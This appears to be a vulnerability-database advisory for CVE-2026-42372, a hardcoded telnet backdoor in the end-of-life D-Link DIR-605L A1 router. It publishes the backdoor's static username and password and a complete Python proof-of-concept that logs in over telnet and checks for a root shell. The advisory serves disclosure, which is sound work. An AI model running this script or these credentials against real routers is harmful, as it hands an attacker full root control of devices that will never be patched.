Security Vulnerability Report
中文
CVE-2026-42372 CVSS 8.8 HIGH

CVE-2026-42372

Published: 2026-05-04 17:16:25
Last Modified: 2026-05-06 12:20:47
Source: 33c584b5-0579-4c06-b2a0-8d8329fcab9c

Description

D-Link DIR-605L Hardware Revision A1 (End-of-Life, EOL) contains a hardcoded telnet backdoor. The device starts a telnet daemon at boot via /bin/telnetd.sh with the username "Alphanetworks" and the static password "wrgn35_dlwbr_dir605l" read from /etc/alpha_config/image_sign. The custom telnetd binary accepts a -u user:password flag, and the custom login binary uses strcmp() to validate credentials. Successful authentication grants an unauthenticated attacker on the local network a root shell with full administrative control. The device has reached End-of-Life (EOL) and will not receive patches.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-605l_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-605l:a1:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-605L Hardware Revision A1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import telnetlib import sys # Exploit for CVE-2026-42372 # Target: D-Link DIR-605L (Rev A1) # Default IP: 192.168.0.1 def exploit_poc(ip): user = "Alphanetworks" password = "wrgn35_dlwbr_dir605l" port = 23 try: print(f"[*] Connecting to {ip} on port {port}...") tn = telnetlib.Telnet(ip, port, timeout=10) # The device uses a custom login mechanism, but usually presents a login prompt tn.read_until(b"login: ") tn.write(user.encode('ascii') + b"\n") tn.read_until(b"Password: ") tn.write(password.encode('ascii') + b"\n") # Check if we have a shell (root) tn.write(b"id\n") response = tn.read_until(b"#", timeout=5).decode('ascii') if "uid=0(root)" in response or "#" in response: print("[+] Exploit successful! Root shell obtained.") print("[+] Response from id command:") print(response) else: print("[-] Exploit failed. Credentials might be incorrect or service unavailable.") print(response) tn.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_ip = "192.168.0.1" # Replace with actual target IP exploit_poc(target_ip)

References

Raw JSON Data

JSON
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